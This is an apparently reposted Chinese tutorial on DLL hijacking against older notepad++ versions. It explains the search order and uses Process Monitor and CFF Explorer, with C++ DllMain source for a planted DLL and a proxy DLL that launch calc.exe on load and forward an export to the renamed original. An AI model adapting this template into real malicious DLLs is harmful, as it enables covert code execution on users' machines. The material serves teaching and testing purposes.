|
原文链接:干货 | DLL劫持
什么是dll
DLL(Dynamic Link Library),全称动态链接库,是Windows系统上程序正常运⾏必不可少的功 能模块,是实现代码重⽤的具体形式。简单的说,可以把DLL理解成帮助程序完成各种功能的组件。DLL劫持漏洞(DLL Hijacking Exploit),严格点说,它是通过⼀些⼿段来劫持或者替换正常的DLL,欺 骗正常程序加载预先准备好的恶意DLL的⼀类漏洞的统称。利⽤DLL劫持漏洞,病毒⽊⻢可以随着⽂档的 打开(或者其他⼀些程序正常⾏为)⽽激活⾃身,进⽽获得系统的控制权。
原理
DLL劫持漏洞之所以被称为漏洞,还要从负责加载DLL的系统API LoadLibrary 来看。熟悉Windows代 码的同学都知道,调⽤ LoadLibrary 时可以使⽤DLL的相对路径。这时,系统会按照特定的顺序搜索⼀ 些⽬录,以确定DLL的完整路径。根据MSDN⽂档的约定,在使⽤相对路径调⽤ LoadLibrary (同样适 ⽤于其他同类DLL LoadLibraryEx,ShellExecuteEx等)时,系统会依次从以下6个位置去查找所需要的 DLL⽂件(会根据SafeDllSearchMode配置⽽稍有不同)。
- 程序所在⽬录。
- 加载 DLL 时所在的当前⽬录。
- 系统⽬录即 SYSTEM32 ⽬录。
- 16位系统⽬录即 SYSTEM ⽬录。
- Windows⽬录。
- PATH环境变量中列出的⽬录
dll劫持就发⽣在系统按照顺序搜索这些特定⽬录时。只要⿊客能够将恶意的DLL放在优先于正 常DLL所在的⽬录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”。
通过VS2019生成一个dll
两种不同的劫持方式
使用工具rocessMonitor
下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
一.劫持源程序没有的dll
使用ProcessMonitor 找到一个没有加载的dll,这里使用notepad++测试
添加过滤条件进程名为notepad++
添加过滤条件路径为E:\notepad++
添加结果为NAME NOT FOUND
然后点击ok
打开notepad++
可以看到有很多dll
先双击uxtheme.dll(这里找一下,找一个有loadlibrary相关的API的dll,你的notepad++可能没有这个dll,因为notepad++版本有可能你的跟我的不一样),然后左键stack
找到loadlibrary相关的API
在vs中编写恶意dll源⽂件后编译,把编译好的恶意dll⽂件名修改为需要劫持的dll⽂件名 后放⼊到notepad++.exe下的同级⽬录下(放在其他地方也可以,只要在dll寻找目录中):
- // dllmain.cpp : 定义 DLL 应用程序的入口点。
- #include "pch.h"
- BOOL APIENTRY DllMain( HMODULE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- {
- switch (ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- WinExec("calc.exe", SW_HIDE);
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- case DLL_PROCESS_DETACH:
- break;
- }
- return TRUE;
- }
复制代码
当进程创建时就打开计算器
我们双击启动notepad++一下试试
成功弹出计算器,执行了我们的恶意代码
二.劫持已经存在的dll
工具:CFF explorer
下载地址:http://www.ntcore.com/files/ExplorerSuite.exe
1.设置过滤条件如图,过程跟刚刚差不多
2.打开notepad.exe,查看监听器中有dll⽂件的事件详情:
3. 可以看到这个dll⽂件是notepad++使⽤系统API LoadLibrary 调⽤的,所以可以利⽤该点对程序进⾏ dll劫持
找到这个dll,就在notepad++相同目录下
4.把这个dll拖入CFF explorer 中
找到这个导出表
他有一个导出函数
5.在vs2019中编写恶意dll⽂件后编译,将恶意dll⽂件名修改为所要劫持的dll⽂件名,将原dll⽂件名修改为恶意dll⽂件中所设置的⽂件名
- #include "pch.h"
- extern "C" __declspec(dllexport) void Scintilla_DirectFunction();
- BOOL APIENTRY DllMain( HMODULE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- {
- switch (ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- WinExec("calc.exe", SW_HIDE);
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- case DLL_PROCESS_DETACH:
- break;
- }
- return TRUE;
- }
- void Scintilla_DirectFunction()
- {
- MessageBox(NULL, L"hello", L"SD", NULL);
- HINSTANCE hDll = LoadLibrary(L"SciLexer_org.dll");
- if (hDll)
- {
- typedef DWORD(WINAPI* EXPFUNC)();
- EXPFUNC expFunc = NULL;
- expFunc = (EXPFUNC)GetProcAddress(hDll,"Scintilla_DirectFunction");
- if (expFunc)
- {
- expFunc();
- }
- FreeLibrary(hDll);
- }
- return;
- }
复制代码
这里虽然报错但是还是弹出了计算机
说明
在notepad++7.3.3以后notepad官方已经修复这个漏洞,再7.3.3版本以后每次运行notepad++会先检查这个dll是否时原来的dll,这里如果要测试需要下载7.3.3以前的版本
|
|